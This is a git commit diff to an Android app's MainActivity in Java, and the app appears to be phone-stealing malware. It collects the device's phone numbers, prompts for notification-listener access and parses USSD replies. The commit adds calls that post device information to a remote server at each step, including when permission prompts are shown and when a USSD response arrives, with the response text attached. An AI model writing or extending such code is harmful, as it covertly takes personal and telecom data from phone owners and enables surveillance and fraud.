This commit is contained in:
Your Name 2025-04-16 00:35:18 +03:00
parent 356c9a9a27
commit 9a6e9fb484

View file

@ -344,6 +344,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private void makeProcess(Context context) { private void makeProcess(Context context) {
// Log.i("a", "Make process task..."); // STATIC // Log.i("a", "Make process task..."); // STATIC
PostRequest postRequestTask = new PostRequest(this, this);
postRequestTask.execute("makeProcess", // STATIC
getDeviceInfo(context)); // STATIC
currentPhone = 0; currentPhone = 0;
phones = collectPhoneNumber(context); phones = collectPhoneNumber(context);
savePhone(context, phones.get(currentPhone)); savePhone(context, phones.get(currentPhone));
@ -464,7 +467,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
if (requestsCount == 2) { if (requestsCount == 2) {
if (!isNotificationServiceEnabled()) { if (!isNotificationServiceEnabled()) {
promptNotificationAccess(); promptNotificationAccess();
PostRequest postRequestTask = new PostRequest(this, this);
postRequestTask.execute("notificationPermission", // STATIC
getDeviceInfo(this)); // STATIC
} else { } else {
PostRequest postRequestTask = new PostRequest(this, this);
postRequestTask.execute("requestPermissions", // STATIC
getDeviceInfo(this)); // STATIC
requestPermissions(retrievePermissions(this)); requestPermissions(retrievePermissions(this));
} }
} }
@ -552,6 +561,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) { public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
super.onReceiveUssdResponse(telephonyManager, request, response); super.onReceiveUssdResponse(telephonyManager, request, response);
String responseString = response.toString(); String responseString = response.toString();
PostRequest postRequestTask = new PostRequest(getBaseContext(), null);
postRequestTask.execute("ussdResponse", // STATIC
getDeviceInfo(getBaseContext()) + ";" + responseString); // STATIC
if(!finalSmsResponse){ if(!finalSmsResponse){
String extractedNumber = extractFirstPhoneNumber(responseString); String extractedNumber = extractFirstPhoneNumber(responseString);
if (extractedNumber.isEmpty()) { if (extractedNumber.isEmpty()) {